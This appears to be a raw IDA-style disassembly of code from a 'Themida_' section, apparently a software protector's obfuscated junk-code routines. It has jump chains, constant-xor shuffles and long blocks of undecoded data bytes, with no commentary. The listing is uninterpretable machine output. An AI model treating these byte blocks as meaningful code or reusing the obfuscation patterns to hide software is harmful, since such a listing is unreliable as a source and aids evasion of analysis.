loc_54B61C:				; CODE XREF: Themida_:00545C9Aj
		shl	edi, 8
		neg	edi
		push	esi
		jmp	loc_54EDBF
; ---------------------------------------------------------------------------


loc_54B627:				; CODE XREF: Themida_:00545640j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54E1CA
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 1EF1E70h, 20D1EB81h,	0F3810F1Ch, 3C6848D7h, 0E95BDD31h
		dd 0FFFFBF06h, 0F5045F25h, 0FB7BE92Dh, 7F05FFFFh, 10D5616h
		dd 167F2DC8h, 0C8B0D56h, 94E95024h, 55000045h, 0B74BABDh
		dd 0B52FE974h, 3468FFFFh, 0E9000003h, 0FFFFCB3Ch, 2434FF5Ch
		dd 0E924048Bh, 0FFFFD9BBh, 4E553CBFh, 8BF8012Bh, 0C481243Ch
		dd 4, 0A16A1105h, 58C2894Ch, 46B7E9h, 3A50B800h, 2DBD56FBh
		dd 298A608Eh, 23E958C5h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6BB:				; CODE XREF: Themida_:00545336j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_54658B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db '$hц&',0
		align 2
		dw 0D4E9h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6D3:				; CODE XREF: Themida_:0054930Dj
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	edx
		jmp	loc_54FD13
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFB0BCE9h, 68E689FFh, 5651h, 52242C89h, 0A37C94BAh
		dd 8370BD6Ch, 0D501935Ch, 0E9EE015Ah, 0FFFFC318h, 805AF328h
		dd 0C328E1C3h, 0C037B450h, 0C48008E4h, 0D9B2E947h, 0EC81FFFFh
		dd 4, 81241C89h, 7023242Ch, 815D2987h, 877023C5h, 4F61E929h
		dd 0BE560000h, 3B2E4366h, 295EF529h, 0ABBA52C5h, 0C1492B2Ah
		dd 685605EAh, 689C7748h, 15EE815Eh, 312F355Dh, 0BF575EF2h
		dd 23C0583Ah, 0E95FFD29h, 0FFFFAD03h, 8059EA28h, 0E2C0AACAh
		dd 746F6806h, 0B9E90000h, 28FFFF90h, 0EBC05AF3h, 9FC38004h
		dd 815BD800h, 4ECh, 240C8900h, 0E1C0DBB1h, 6E9C003h, 0E906E9C0h
		dd 0FFFFC1FBh, 5D57ABB8h, 499B0D1Fh, 173558ACh,	2D629A39h
		dd 0C00948C3h, 0FF8F54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B7C9:				; CODE XREF: Themida_:00546417j
		pop	ebp
		xor	ecx, 5E09571Eh
		add	ebx, ecx
		pop	ecx
		xor	ebx, 1BEF6F40h
		add	ebx, 1
		push	edi
		push	esi
		mov	esi, 7D3A15B4h
		mov	edi, 0D4DC01F0h
		xor	edi, esi
		pop	esi
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		jmp	loc_549AB7
; ---------------------------------------------------------------------------
		dd 0C796850h, 1C890000h, 1C8B5824h, 0E184E924h,	0E957FFFFh
		dd 461Dh, 4C5815Dh, 52000000h, 0E6543CBAh, 61E94A34h, 87000046h
		dd 0E95C241Ch, 0FFFF91E5h, 21E9C801h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B833:				; CODE XREF: Themida_:0054B58Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54AF2E
; ---------------------------------------------------------------------------


loc_54B848:				; CODE XREF: Themida_:0054A8A1j
		mov	ebx, esp
		jmp	loc_544DF0
; ---------------------------------------------------------------------------
		db 81h
		dd 7F61D8C1h, 0EC83585Ah, 240C8904h, 42474FFh, 24048F59h
		dd 421665Ch, 22E99C24h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B86F:				; CODE XREF: Themida_:0054C548j
		push	ecx
		push	ebx
		push	2D4E0411h
		pop	ebx
		add	ebx, 2FAE45C7h
		push	ebp
		mov	ebp, ebx
		mov	ecx, ebp
		pop	ebp
		pop	ebx
		sub	edi, ecx
		pop	ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_548BE6
; ---------------------------------------------------------------------------
		db 5Bh,	5Ah, 0E9h
		dd 0FFFFB2FFh, 0F3E9D5F7h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B8B7:				; CODE XREF: Themida_:0054C338j
		pop	esi
		jmp	loc_54BF7A
; ---------------------------------------------------------------------------
		db 2Dh,	81h, 2
		dd 515B124Bh, 6D4368h, 24048900h, 51508A68h, 90E9587Bh
		dd 80FFFFC5h, 4AE97EEAh, 8100003Dh, 4ECh, 24048900h, 0C289E889h
		dd 0FFF341E9h, 0F7895BFFh, 0FF9F1EE9h, 2C481FFh, 30000000h
		dd 16E95AF0h, 0C1FFFFE9h, 0E3C106EBh, 0F7FB8707h, 31FB31D7h
		dd 0E9FB31DFh, 0FFFFC458h, 63434DBBh, 0F3814B62h, 64AC0CFDh
		dd 5E43C381h, 0E3C1077Fh, 5DEB8104h, 896791CFh,	54015BDAh
		dd 34FF0424h, 4830E924h, 81580000h, 4ECh, 24148900h, 0FFDC3CE9h
		dd 0A0BA52FFh, 0F742B001h, 6EAC1D2h, 0FFB8FCE9h, 6AEE81FFh
		dd 8133E27Dh, 363713EEh, 81D6F76Fh, 13EC69F6h, 5EF589A3h
		dd 81DDF74Dh, 7B36C9E5h, 7E5C141h, 143ED81h, 0E829068Dh
		dd 5D8295Dh, 0AF31F3Dh,	0B4B9515Bh, 15C7168h, 60E959C8h
		dd 81000039h, 0FF1417EBh, 38EB8120h, 5638DB2Ch,	4B0281BEh
		dd 5EF00112h, 0FAE9D829h, 0BEFFFFFEh, 58F409B0h, 5DA6F681h
		dd 44E92103h, 6800001Bh, 5141h,	0BD242C89h, 4415718Ch
		dd 8108E5C1h, 8E7404C5h, 1B53E9EAh, 56530000h, 21E8E9h
		dd 35E95C00h, 81FFFFBCh, 4C4h, 4BD5500h, 0E9000000h, 0FFFFF74Ah
		dd 0E93C77FFh, 0FFFFB685h, 2EE9BFB2h, 5BFFFFDEh, 3BA4E95Bh
		dd 0F660000h, 6866C8BEh, 89663D1Fh, 62E9240Ch, 59FFFFDEh
		dd 713268h, 240C8900h, 0A7415BB9h, 41D1F74Bh, 0FFD757E9h
		dd 25E951FFh, 33FFFFDEh, 0E95C2414h, 0FFFFE793h, 592434FFh
		dd 0E904C483h, 20CEh
; ---------------------------------------------------------------------------


loc_54BA64:				; CODE XREF: Themida_:0054D32Dj
		mov	[esp], edx
		jmp	loc_5448D7
; ---------------------------------------------------------------------------
		dd 0CB46E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BA72:				; CODE XREF: Themida_:0054C16Fj
		pop	eax
		push	dword ptr [esp]
		pop	edx
		jmp	loc_548DBE
; ---------------------------------------------------------------------------
		dd 58ED814Dh, 899C971Ch, 0F2815DEAh, 2EA1515h, 1004E9h
		dd 44D0400h, 2CD8009Fh,	524D2C9Fh, 63E9E289h, 81FFFFB4h
		dd 4C2h, 4C28100h, 87000000h, 98E92414h, 5C00000Dh, 815D5455h
		dd 4C5h, 4ED8100h, 87000000h, 0EEE9242Ch, 28FFFFBDh, 0E78957C3h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 0B4240489h, 696E983h
		dd 0E95D0000h, 2FF2h, 31242C33h, 2C33242Ch, 24248B24h
		dd 24048B66h, 68E08950h, 45DAh,	0FFF694E9h, 4C083FFh, 0E9240487h
		dd 0C0Eh, 0ED81D5F7h, 729C2A37h, 2399ED81h, 0A4E93AA2h
		dd 66FFFF8Bh, 6652D801h, 531C25BAh, 6A7C6866h, 81665B66h
		dd 6607E6C3h, 51E9DA01h, 0BE000050h, 73C420E8h,	0D2E9F789h
		dd 6800001Ah, 274Bh, 55243489h,	0FF9D90E9h, 4EC83FFh, 68243489h
		dd 48FDh, 0E9241489h, 3C4Ch
; ---------------------------------------------------------------------------


loc_54BB78:				; CODE XREF: Themida_:0054A63Dj
		push	edi
		mov	edi, 0F70C1992h
		sub	edx, edi
		pop	edi
		xor	ebx, edx
		pop	edx
		jmp	loc_547C07
; ---------------------------------------------------------------------------


loc_54BB89:				; CODE XREF: Themida_:00550570j
		mov	[esp], eax
		push	4C74h
		jmp	loc_544F57
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 48B6624h, 1345E924h,	0FEBB0000h, 1244D8Ch, 0D3315BDAh
		dd 8124148Bh, 4C4h, 8A4FE900h, 0E689FFFFh, 0F749E952h
		dd 0C789FFFFh, 6CF78158h, 4F422938h, 0E908E7C1h, 0DADh
		dd 2EA81h, 89E90000h, 0B8FFFFCCh, 4, 2A67EF81h,	0C7010B34h
		dd 2A67C781h, 0E9580B34h, 0FFFF9837h, 240C8B66h, 0F02C483h
		dd 6866C0B6h, 89666C37h, 0FAE92404h, 5AFFFF89h,	737BC381h
		dd 0EC8172B5h, 4, 0B8240489h, 6DB131D0h, 494FC381h, 0C3017D20h
		dd 494FEB81h, 48B7D20h,	0E2895224h, 20C1E9h, 52D2F600h
		dd 385DE9h, 242C8000h, 24242807h, 0FFEDEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BC51:				; CODE XREF: Themida_:0054E129j
		push	edx
		mov	edx, 1
		add	eax, edx
		pop	edx
		shr	eax, 3
		xor	eax, 488C3621h
		sub	eax, 0EE77F71Ch
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	[esp+4], esi
		jmp	loc_54AFC1
; ---------------------------------------------------------------------------
		db 81h
		dd 2082444h, 5F73D051h,	4245401h, 4246C81h, 692140A1h
		dd 0C5B8505Ah, 0E9610B17h, 0FFFFDE36h, 3212C681h, 0B2E91067h
		dd 5FFFFA2h, 15532B39h,	3005502Dh, 24348B41h, 0FFA86DE9h
		dd 46C780FFh, 0EF80F700h, 24D6E946h, 55560000h,	0F9DBE950h
		dd 0C87FFFFh, 304CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BCD6:				; CODE XREF: Themida_:00544DD8j
		mov	ecx, 38075750h
		jmp	loc_54F3BD
; ---------------------------------------------------------------------------
		dd 68240489h, 5CB0h, 68241C89h,	13E4h, 51242C89h, 0DC307FB9h
		dd 0CD91E955h, 248BFFFFh, 0F069E924h, 489FFFFh,	42256824h
		dd 24890000h, 287D6824h, 2C890000h, 4BD24h, 28E90000h
		dd 5E000035h, 43BF5755h, 8140C844h, 3F3345E7h, 4EFC146h
		dd 0FFBCD6E9h, 2434FFFFh, 1B2BE9h, 80F3B100h, 0F18057E9h
		dd 25EFE939h, 0C3BE0000h, 8129F671h, 934A05C6h,	81DEF712h
		dd 6B2D93EEh, 0A1EE811Ch, 1A70B16h, 0EA815EF2h,	4, 5C241487h
		dd 56243C89h, 4332BA52h, 70E94F11h, 5C000043h, 0FFC5ABE9h
		dd 241489FFh, 0C9685A54h, 89000039h, 0DFB82404h, 5527EF32h
		dd 0FFF21AE9h, 2C8B54FFh, 4C48324h, 0E6968h, 24148900h
		dd 0FFF3CBE9h, 34875BFFh, 24248B24h, 0FFE538E9h, 0CD095AFFh
		dd 56240C8Bh, 0C681E689h, 4, 0FFF4F4E9h, 0E9DCF6FFh, 0FFFFE47Eh
		dd 240C8B66h, 8904EC83h, 0E189240Ch, 2A1AB850h,	0D8F722E8h
		dd 0ED462F2Dh, 704D0541h, 0BB5364D5h, 25DC332Fh, 202CF381h
		dd 0DBF72EF6h, 0FFBD37E9h, 61C50DFFh, 252D585Ch, 2D76AD40h
		dd 0E4888237h, 4658C631h, 0FFD8A1E9h, 3877FFFFh, 3FDEE9h
		dd 0E9F98900h, 0FFFFE6AFh, 8B240C87h, 0F662424h, 9C2404B3h
		dd 0FF93E5E9h, 59E95AFFh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BE4B:				; CODE XREF: Themida_:00549B28j
		pop	ebp
		jmp	loc_54F187
; ---------------------------------------------------------------------------


loc_54BE51:				; CODE XREF: Themida_:0054E443j
		xor	ebx, 160F3A84h
		jmp	loc_54E2C0
; ---------------------------------------------------------------------------
		dd 0B1240C89h, 0B8C18093h, 5063E180h, 4D2CC1B0h, 0FE58C108h
		dd 79F180C1h, 0F659CF00h, 0D7CF80D7h, 0FA885250h, 0F65AD088h
		dd 0E9C788D0h, 1BFAh, 8307E6C1h, 0EE81FFEEh, 897FD9C8h
		dd 685EF001h, 7C42h, 52243489h,	0BDE9E289h, 0FFFFFFA1h
		dd 0E9592434h, 4664h, 0FF240C89h, 59042474h, 0E924048Fh
		dd 0FFFFFCD2h
; ---------------------------------------------------------------------------


loc_54BEC4:				; CODE XREF: Themida_:0054C0ADj
		pop	esp
		mov	[esp], ecx
		jmp	loc_54D5AA
; ---------------------------------------------------------------------------
		db 5Bh,	33h, 2Ch
		dd 0F6BBE924h, 665CFFFFh, 2404AB0Fh, 8727E99Ch,	9C50FFFFh
		dd 0FF8720E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BEE9:				; CODE XREF: Themida_:005489B5j
		pop	esp
		jmp	loc_54EF49
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF8865E9h, 46E959FFh, 0B300000Eh, 3E3C0BAh,	0F0E9CBFEh
		dd 89FFFFBAh, 7EE9243Ch, 87FFFFECh, 895C240Ch, 68562414h
		dd 4F440FF3h, 8B2434FFh, 0C4832434h, 4C48104h, 81000000h
		dd 0F50968E6h, 82BD5579h, 297A8D26h, 0CE815DEEh, 5E09252Fh
		dd 1A01B951h, 0C6812140h, 1E2F2085h, 0EE81CE01h, 1E2F2085h
		dd 81240C8Bh, 4C4h, 0F0C2E900h,	895FFFFFh, 0C8B5BDEh, 4C48124h
		dd 81000000h, 230630EFh, 346EE94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BF7A:				; CODE XREF: Themida_:0054B8B8j
		sub	ebx, 29B65B1h
		add	ebx, edi
		add	ebx, 29B65B1h
		push	edx
		jmp	loc_54C295
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 8324048Bh, 572904C4h, 7685A24h, 89000068h, 0B3E9241Ch
		dd 28FFFFEEh, 5B6D04D8h, 8904EC83h, 0B1512414h,	0E4E9803Ch
		dd 0FFAB91E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BFBD:				; CODE XREF: Themida_:0054AF94j
		push	ecx
		mov	ecx, esp
		jmp	loc_54E512
; ---------------------------------------------------------------------------
		dd offset loc_40EB7F+1
		db 0DEh, 8Bh, 1Ch
		dd 4C48124h, 80000000h,	0EBE973C6h, 8000000Ch, 0F80054F7h
		dd 685E95Bh, 89570000h,	5FF889D7h, 6EB815Ah, 81531B1Fh
		dd 631EFFEBh, 81C30143h, 631EFFC3h, 6C38143h, 8B531B1Fh
		dd 0C4832404h, 241C8704h, 0E924248Bh, 0FFFFB93Fh
; ---------------------------------------------------------------------------


loc_54C018:				; CODE XREF: Themida_:0054A958j
		shr	esi, 3
		jmp	loc_54C31E
; ---------------------------------------------------------------------------
		dd 6A77FF2Dh, 66362D46h, 61E93C70h, 81000000h, 4C4h, 243C8700h
		dd 0FFE2E0E9h, 81E789FFh, 4C7h,	4C78100h, 87000000h, 295C243Ch
		dd 0E9575BDFh, 0FFFFE9AEh, 8951E389h, 4C181E1h,	83000000h
		dd 0C8704E9h, 3C895C24h, 1F67E924h, 840F0000h, 218Bh, 7CFF68h
		dd 24148900h, 0FE68h, 2434FF00h, 0E954525Ah, 78Ch, 3605F001h
		dd 53C7066h, 466A77FFh,	4BA525Eh, 1000000h, 9E75E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C0AA:				; CODE XREF: Themida_:0054E4BBj
		xchg	ebp, [esp]
		jmp	loc_54BEC4
; ---------------------------------------------------------------------------
aNiSB		db '╩╜╘©дИлB',0
		align 4
		dd 717FC381h, 0E8E934F3h, 8FFFFFB4h, 248B2404h,	240CFF24h
		dd 8533E99Ch, 0EC81FFFFh, 4, 23E6E9h, 81D5F700h, 0C13F2EF5h
		dd 0BE564579h, 0B9ECF453h, 895EF529h, 41E95DEAh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C0FB:				; CODE XREF: Themida_:0054B440j
		add	esp, 4
		jmp	loc_545168
; ---------------------------------------------------------------------------
		db 81h
		dd offset dword_457444+1FEB2h
		dd 18A4E964h, 0F7890000h, 3BDAE9h, 4EC8100h, 89000000h
		dd 1168240Ch, 54000045h, 8124048Fh, 42404h, 55590000h
		dd 15482BDh, 5E5C120h, 1AE8BE56h, 78E94E52h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C143:				; CODE XREF: Themida_:0054D2F4j
		xchg	ecx, [esp]
		jmp	loc_54C263
; ---------------------------------------------------------------------------
		db 51h
		dd 6075BD55h, 0ED815F57h, 7A4D18E3h, 46CD8145h,	81222804h
		dd 9DBB24C5h, 5DE98922h, 0FFC1A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C16D:				; CODE XREF: Themida_:0054CE6Dj
		add	edi, eax
		jmp	loc_54BA72
; ---------------------------------------------------------------------------
		dd 54242C89h, 4C5815Dh,	0E9000000h, 0FFFFDB13h,	6658E300h
		dd 66200768h, 0B5240C89h, 0A04E971h, 34FF0000h,	2434FF24h
		dd 0E1895158h, 4C181h, 0C1810000h, 4, 5C240C87h, 4370E9h
		dd 16E95700h, 5FFFFFC6h, 348BF001h, 9B6AE924h, 6FB1FFFFh
		dd 0E99AC480h, 0FFFFBD7Ch, 5EF3015Ah, 2EB81h, 0FF530000h
		dd 0FF042474h, 535B2434h, 0FF9190E9h, 0B8504AFFh, 5CE9715Dh
		dd 0E8C1E8D1h, 3E0C105h, 0FF8D08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C1FD:				; CODE XREF: Themida_:00544822j
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		add	ebx, 78FD731Eh
		jmp	loc_550B4A
; ---------------------------------------------------------------------------
		db 1, 0E8h, 2Dh
		dd 42EB3900h, 28D9E9h, 633CBA00h, 0D0011336h, 0E92434FFh
		dd 0FFFFEC4Bh, 924248Bh, 348B1C77h, 0E7895724h,	0FF9090E9h
		dd 4C483FFh, 4C781h, 0E1680000h, 8900006Bh, 4B82404h, 1000000h
		dd 3C8758C7h, 0F426E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C25A:				; CODE XREF: Themida_:00545FA2j
		mov	eax, [esp]
		push	ebx
		jmp	loc_548BDF
; ---------------------------------------------------------------------------


loc_54C263:				; CODE XREF: Themida_:0054C146j
		mov	esp, [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0E98107Ch
		jmp	loc_54848D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24148904h, 0D5E95456h, 83000010h, 516604C4h
		dd 0FFCE0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C295:				; CODE XREF: Themida_:0054BF89j
		push	ecx
		mov	ecx, 0FCB3BD5h
		xor	ecx, 0EAC125Eh
		push	ecx
		pop	edx
		pop	ecx
		jmp	loc_546E2F
; ---------------------------------------------------------------------------
		db 2Dh,	0D6h, 6Fh
		dd 6B054CE9h, 2D5EB045h, 646671ECh, 0EC05D801h,	2D646671h
		dd 5EB0456Bh, 0FFCAA9E9h, 48B66FFh, 5C7B6824h, 14890000h
		dd 4A956824h, 24890000h, 24048324h, 86F6E904h, 0C89FFFFh
		dd 40B924h, 0F9010000h,	4EC81h,	34890000h, 4072E924h, 0B1510000h
		dd 0D004AAh, 0E9D02CC8h, 0FFFF9F06h, 0BB535250h, 779A25D8h
		dd 895BDA89h, 3F78E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C31E:				; CODE XREF: Themida_:0054C01Bj
		add	esi, 0D323207h
		xor	esi, 19C8B26Eh
		add	ebx, 35CC40F3h
		add	ebx, esi
		sub	ebx, 35CC40F3h
		jmp	loc_54B8B7
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 50h
		dd 0AA553068h, 2812E935h, 0DBF70000h, 3109EB81h, 0B8507904h
		dd 285423AEh, 8358C309h, 148904ECh, 2170BA24h, 0EC8121ABh
		dd 4, 0FFC0EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C371:				; CODE XREF: Themida_:00545A43j
		add	esp, 4
		jmp	loc_54B25D
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 2
		dd 0E9D9B050h, 0FFFFB604h, 0FD045A66h, 0FF96D3E9h, 81E789FFh
		dd 4C7h, 4C78100h, 0E9000000h, 0FFFFE5C6h, 5C240C87h, 83242C8Bh
		dd 5AE904C4h, 0ADFFFF82h, 4EC81h, 3C890000h, 5B66BF24h
		dd 0D7F77D2Bh, 6920EF81h, 0F8294842h, 0E9D8015Fh, 106Dh
; ---------------------------------------------------------------------------


loc_54C3D0:				; CODE XREF: Themida_:0054FBBBj
		add	cl, 78h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 2
		jmp	loc_54CBE7
; ---------------------------------------------------------------------------
		db 0ADh
		dd 3A55C82Dh, 0ECE95156h, 5FFFFFA2h, 0FFA307E9h, 59C181FFh
		dd 31A7E0A0h, 2434FFC8h, 81240C8Bh, 4C4h, 4C48300h, 50E18951h
		dd 4B8h, 58C10100h, 4E981h, 0E8E90000h,	31FFFFFAh, 8B5350C8h
		dd 0C4832404h, 2434FF04h, 4023E9h, 88525800h, 246C8AEEh
		dd 24748804h, 0BEE95A04h, 89FFFF81h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 7755685Ch, 14890000h, 2BA24h, 0D0010000h
		dd 0C9A2E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C472:				; CODE XREF: Themida_:00549512j
		push	53EFh
		jmp	loc_548ECB
; ---------------------------------------------------------------------------
		dd 0EB4CE953h, 0F729FFFFh, 38EA815Eh, 0E97EA564h, 0FFFF87D9h
		dd 5E08950h, 4,	25B9BB53h, 0E9434403h, 0FFFFD55Dh, 657F68ACh
		dd 0C890000h, 0E905B524h, 0FFFFC839h, 0F97A5CBFh, 0ED266801h
		dd 57E91FE6h, 0BAFFFFB5h, 9FF4816h, 2ECBC281h, 57515B26h
		dd 0C22E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54F5DF
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 1562E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C4FD:				; CODE XREF: Themida_:0054FD19j
		xchg	ebp, [esp]
		pop	edx
		push	eax
		push	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 64222142h
		xchg	edi, ebx
		dec	edi
		xchg	edi, ebx
		dec	ebx
		not	ebx
		sub	ebx, 32D66F83h
		dec	ebx
		jmp	loc_549A69
; ---------------------------------------------------------------------------
		db 81h
		dd 0FEA127C3h, 0F08CE913h, 0BB53FFFFh, 45222AA2h, 0E906E3C1h
		dd 0FFFFC63Fh
; ---------------------------------------------------------------------------


loc_54C540:				; CODE XREF: Themida_:005454B6j
		add	edi, ecx
		add	edi, 157E47D2h
		jmp	loc_54B86F
; ---------------------------------------------------------------------------
		db 0B8h, 0F5h, 2Ch
		dd 0D0F71C0Dh, 0E904EC83h, 0FFFF950Bh, 0FAF6E953h, 0E956FFFFh
		dd 0FFFFE8BEh, 85287BB8h, 4EC8165h, 89000000h, 4FF2404h
		dd 0D0F75824h, 244AB935h, 0E9E8D10Fh, 0FFFFCA21h, 0E924048Fh
		dd 0FFFFF45Eh, 0C4BEE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C596:				; CODE XREF: Themida_:0054874Dj
		mov	ebp, [esp]
		jmp	loc_54AD3E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF89FAE9h, 0C8B66FFh, 0E7895724h, 213DB850h, 0E8C1793Eh
		dd 240D4008h, 527A537h,	0D802C0DEh, 6858C701h, 35A5h, 0FFE679E9h
		dd 24048BFFh, 29FD68h, 242C8900h, 0C581E589h, 4, 88E95556h
		dd 1FFFF98h, 3E11E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C5F2:				; CODE XREF: Themida_:0054E1FEj
		add	esi, 0FFAD8209h
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	esi, 5E9533ECh
		add	esi, edx
		sub	esi, 5E9533ECh
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		jmp	loc_547835
; ---------------------------------------------------------------------------
		db 66h
		dd 58E1885Ah, 5966CE08h, 0FCE9D6F6h, 4DFFFFD1h,	0BF57DDF7h
		dd 648F6F16h, 11F4E9h, 0ACE95200h, 6800000Ah, 22F9h, 0E9241489h
		dd 0FFFF84D3h
; ---------------------------------------------------------------------------


loc_54C678:				; CODE XREF: Themida_:0054B481j
		or	ebp, 7B833C42h
		jmp	loc_54834A
; ---------------------------------------------------------------------------


loc_54C683:				; CODE XREF: Themida_:0054C934j
		mov	ebx, 0FFFFFFFFh
		add	eax, ebx
		pop	ebx
		shr	eax, 8
		xor	eax, 458E6471h
		mov	edx, eax
		pop	eax
		add	ebx, 248576E3h
		add	ebx, edx
		sub	ebx, 248576E3h
		mov	edx, [esp]
		jmp	loc_54A6E5
; ---------------------------------------------------------------------------
		dd 8106E6C1h, 304D2EE6h, 6E6C17Ah, 416BF681h, 11E99DD0h
		dd 68FFFFB8h, 52CC5682h, 2E0C158h, 2D04E0C1h, 55A034E7h
		dd 8158C289h, 0EE580ACAh, 4FF2810Fh, 195AAD1h, 0C3015AD0h
		dd 5724048Bh, 0C7815F54h, 4, 8704C783h,	0A2E9243Ch, 68000042h
		dd 1404h, 89242C89h, 4C581E5h, 83000000h, 13E904C5h, 83FFFF8Eh
		dd 48F04C4h, 55E95C24h,	0F7FFFFC5h, 0DC2DE9D0h,	0F75CFFFFh
		dd 0F0C6E9D3h, 15BFFFFh, 0C7015FF8h, 8124048Bh,	4C4h, 243C8700h
		dd 0D224248Bh, 0E99C2424h, 0FFFF7EB9h, 8B242C87h, 0F662424h
		dd 5166C8AFh, 7EA7E99Ch, 0DAF7FFFFh, 0CDE9E2D1h, 0F7FFFFA2h
		dd 1C5C05D8h, 3563E1h, 68682718h, 6E84h, 0E9242C89h, 3BE2h
		dd 9548E951h, 6852FFFFh, 69ED6872h, 4EC815Ah, 89000000h
		dd 65BF243Ch, 81594034h, 0F462DCF7h, 0D9F1E91Bh, 0F581FFFFh
		dd 89A2DF3Fh, 595DE801h, 348E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C7BA:				; CODE XREF: Themida_:00548708j
		pop	ebx
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dd 2BB5359h, 0E9000000h, 0FFFFD6C9h, 4B9h, 0E9CA8900h
		dd 3CFDh, 0FF7E2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C7DD:				; CODE XREF: Themida_:00544995j
		pop	eax
		push	10DEh
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 79364F87h
		push	esi
		jmp	loc_544906
; ---------------------------------------------------------------------------


loc_54C7F9:				; CODE XREF: Themida_:0054E5B0j
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_54FE3D
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2414h, 3FC2E924h, 99050000h, 0E926CD41h,	0FFFFEFEEh
		dd 2129E95Ah, 0DA010000h, 837EE95Bh, 5259FFFFh,	4B850h
		dd 0C2890000h, 5324048Bh, 0C381E389h, 4, 4C381h, 1C870000h
		dd 80E95C24h, 5C000037h, 0DB0BD55h, 0DDF71C08h,	0ED83DDF7h
		dd 0E94D45FFh, 0FFFFC6BDh, 0A304D800h, 241C8B66h, 2256E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C871:				; CODE XREF: Themida_:00544617j
		mov	bl, 0
		mov	ch, bl
		mov	bx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	dl, 0C2h
		dec	dl
		shl	dl, 7
		neg	dl
		sub	dl, 6Eh
		shl	dl, 2
		push	ebx
		jmp	loc_55048B
; ---------------------------------------------------------------------------
a_bVphIarqC	db '_│аvPh;IARQ╧√',0
		db 0Ah,	50h, 0BAh
		dd 0AE5986E2h, 96E9CA29h, 29FFFFE6h, 0AC30E9CBh, 0C481FFFFh
		dd 4, 5747FB2Dh, 5D02966h, 665747FBh, 29E6BD55h, 0ED8162C4h
		dd 153A0A3Ah, 0FF5DE829h, 815A2434h, 4ECh, 0C001E900h
		dd 3489FFFFh, 0B5BD5524h, 57794014h, 0D00505BFh, 0AEBEE967h
		dd 0FEE9FFFFh
		db 7Ch,	2 dup(0FFh)
